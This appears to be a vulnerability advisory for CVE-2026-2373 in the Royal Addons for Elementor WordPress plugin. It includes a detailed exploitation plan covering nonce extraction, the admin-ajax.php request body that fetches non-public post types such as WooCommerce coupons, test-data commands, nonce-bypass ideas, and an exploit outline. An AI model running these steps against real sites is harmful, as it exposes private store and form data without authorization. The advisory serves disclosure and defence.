Royal Addons for Elementor – Addons and Templates Kit for Elementor <= 1.7.1049 - Missing Authorization to Unauthenticated Custom Post Type Contents Exposure
Description
The Royal Addons for Elementor – Addons and Templates Kit for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.7.1049 via the get_main_query_args() function due to insufficient restrictions on which posts can be included. This makes it possible for unauthenticated attackers to extract contents of non-public custom post types, such as Contact Form 7 submissions or WooCommerce coupons.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=1.7.1049What Changed in the Fix
Changes introduced in v1.7.1050
Source Code
WordPress.org SVNThis analysis targets **CVE-2026-2373**, a missing authorization vulnerability in **Royal Addons for Elementor**. The vulnerability exists in the `get_main_query_args()` function (likely located in `WprAddons\Classes\Utilities`), which processes user-supplied query parameters for grid-based widgets …
Show full research plan
This analysis targets CVE-2026-2373, a missing authorization vulnerability in Royal Addons for Elementor. The vulnerability exists in the get_main_query_args() function (likely located in WprAddons\Classes\Utilities), which processes user-supplied query parameters for grid-based widgets without sufficient validation. This allows unauthenticated attackers to query and extract content from non-public Custom Post Types (CPTs) such as WooCommerce coupons or Contact Form 7 configurations.
1. Vulnerability Summary
- ID: CVE-2026-2373
- Vulnerability: Missing Authorization / Information Exposure
- Affected Function:
get_main_query_args() - Sink:
new \WP_Query( $query_args ) - Root Cause: The function accepts an array of settings (often from
$_POST['wpr_grid_query_args']) and uses thepost_typeandpost_statusvalues directly in a WordPress query. There is no whitelist or authorization check to ensure the unauthenticated requester is allowed to view the requested post type.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpr_get_grid_layout(Unauthenticated viawp_ajax_nopriv_wpr_get_grid_layout) - Payload Parameter:
wpr_grid_query_args(JSON encoded or array) - Authentication: None required (Unauthenticated).
- Preconditions: The Royal Addons for Elementor plugin must be active. A valid nonce is typically required for the AJAX action.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=wpr_get_grid_layout. - AJAX Handler: The plugin's AJAX handler (likely in a class handling Grids/Magazine Grids) retrieves
$_POST['wpr_grid_query_args']. - Vulnerable Call: The handler calls
WprAddons\Classes\Utilities::get_main_query_args( $settings ), passing the user-controlled settings. - Argument Construction:
get_main_query_args()constructs theWP_Queryarguments using thepost_typeprovided in the$settingsarray. - Execution: The handler executes
$query = new \WP_Query( $args ). - Information Exposure: The resulting posts (even if private or sensitive CPTs) are rendered and returned in the AJAX response.
4. Nonce Acquisition Strategy
Royal Addons for Elementor typically localizes a configuration object named WprConfig which contains a nonce for AJAX requests.
- Requirement: The nonce is usually enqueued on pages where a Royal Addons widget is present.
- Target Variable:
window.WprConfig?.nonce - Procedure:
- Since the plugin is "Elementor-first," creating a standard page with a Royal Addons widget is the most reliable way to trigger the script.
- Use WP-CLI to create a page:
wp post create --post_type=page --post_status=publish --post_title="Exploit Page" --post_content='<!-- wp:elementor/template -->'(Or use an existing page if the plugin enqueues globally). - Navigate to the homepage or the created page using
browser_navigate. - Extract the nonce:
browser_eval("window.WprConfig?.nonce"). - Note: If
WprConfigis not found, check forwprConfigorWprAddonsData.
5. Exploitation Strategy
The goal is to extract WooCommerce coupons (CPT: shop_coupon), which contains sensitive discount codes and logic.
- Request URL:
http://<target>/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:wpr_get_grid_layoutnonce:[EXTRACTED_NONCE]wpr_grid_query_args: A JSON-encoded string:{ "post_type": "shop_coupon", "posts_per_page": 10, "post_status": "publish", "wpr_grid_template_id": 0 }wpr_grid_template_id:0(or a valid template ID if required by the logic).
6. Test Data Setup
To verify information exposure, sensitive data must exist in the database:
- Create WooCommerce Coupons (Requires WooCommerce):
wp eval "wc_create_coupon(['code' => 'SECRET100', 'amount' => '100', 'discount_type' => 'fixed_cart']);"
- Create Private Content:
wp post create --post_type=post --post_title="Private Intel" --post_content="The password is admin" --post_status=private
- Ensure Royal Addons Settings: No specific settings are required, as the vulnerability is in the query builder utility.
7. Expected Results
- Successful Exploit: The HTTP response (JSON or HTML) will contain the titles or content of the requested CPT. For
shop_coupon, the response will likely show the coupon codes (e.g., "SECRET100") rendered within the grid item template. - Response Content: Look for string patterns like
wpr-grid-item-titlecontaining the coupon codes or private post titles.
8. Verification Steps
- Analyze HTTP Response: Check the
bodyof thehttp_requestresponse for the sensitive string created in step 6 (e.g., "SECRET100"). - Compare with Public View: Confirm the data is not visible on the standard frontend blog feed.
- Database Check: Verify the post exists in the DB with the restricted status:
wp db query "SELECT post_title, post_type, post_status FROM wp_posts WHERE post_type='shop_coupon'"
9. Alternative Approaches
- Post Type:
wpcf7_contact_form: If Contact Form 7 is installed, use thispost_typeto extract form definitions which may contain email addresses or logic. - Post Type:
wp_block: Extract reusable blocks that might contain internal information. - Magazine Grid: If
wpr_get_grid_layoutfails, try the Magazine Grid specific action:action=wpr_get_magazine_grid_layoutwith the samewpr_grid_query_argsparameter. - Bypass Nonce: Attempt the request without a nonce; if the plugin fails to call
check_ajax_refererorwp_verify_noncefor thenoprivaction, the exploit becomes even simpler.
Summary
The Royal Addons for Elementor plugin for WordPress (<= 1.7.1049) is vulnerable to unauthenticated information exposure via the wpr_get_grid_layout AJAX action. This occurs because the get_main_query_args() function fails to validate or restrict the post_type and post_status parameters, allowing attackers to query and retrieve data from non-public custom post types like WooCommerce coupons or Contact Form 7 submissions.
Security Fix
@@ -34,9 +34,9 @@ $install_date = get_option('royal_elementor_addons_activation_time'); if ( false == get_option('wpr_maybe_later_time') && false !== $install_date && $this->past_date >= $install_date ) { - add_action( 'admin_notices', [$this, 'render_rating_notice' ]); + add_action( 'admin_notices', [$this, 'render_rating_notice']); } else if ( false != get_option('wpr_maybe_later_time') && $this->past_date >= get_option('wpr_maybe_later_time') ) { - add_action( 'admin_notices', [$this, 'render_rating_notice' ]); + add_action( 'admin_notices', [$this, 'render_rating_notice']); } } @@ -80,6 +80,8 @@ register_setting( 'wpr-settings', 'wpr_recaptcha_v3_site_key' ); register_setting( 'wpr-settings', 'wpr_recaptcha_v3_secret_key' ); register_setting( 'wpr-settings', 'wpr_recaptcha_v3_score' ); + register_setting( 'wpr-settings', 'wpr_recaptcha_v2_site_key' ); + register_setting( 'wpr-settings', 'wpr_recaptcha_v2_secret_key' ); // Lightbox register_setting( 'wpr-settings', 'wpr_lb_bg_color' ); @@ -128,6 +130,17 @@ register_setting( 'wpr-elements-settings', 'wpr-element-'. $slug, [ 'default' => 'on' ] ); } + // Pro widgets that appear in Elements tab (so their toggles are saved) + if ( defined( 'WPR_ADDONS_PRO_VERSION' ) && wpr_fs()->can_use_premium_code() ) { + $pro_element_slugs = [ 'breadcrumbs-pro' ]; + if ( wpr_fs()->is_plan( 'expert' ) ) { + $pro_element_slugs = array_merge( $pro_element_slugs, [ 'category-grid-pro', 'advanced-filters-pro' ] ); + } + foreach ( $pro_element_slugs as $slug ) { + register_setting( 'wpr-elements-settings', 'wpr-element-' . $slug, [ 'default' => 'on' ] ); + } + } + // Theme Builder foreach ( Utilities::get_theme_builder_modules() as $title => $data ) { $slug = $data[0]; ... (truncated)
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first obtains a valid AJAX nonce by visiting the site's frontend and extracting it from the WprConfig.nonce JavaScript object. The attacker then sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to wpr_get_grid_layout. The payload must include a wpr_grid_query_args parameter containing a JSON-encoded object that specifies a non-public post_type (such as shop_coupon for WooCommerce or wpcf7_contact_form for Contact Form 7) and a post_status like publish or private. Because the server-side utility function get_main_query_args() fails to whitelist allowed post types, it will construct and execute a WP_Query based on the attacker's input and return the contents of those restricted posts in the response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.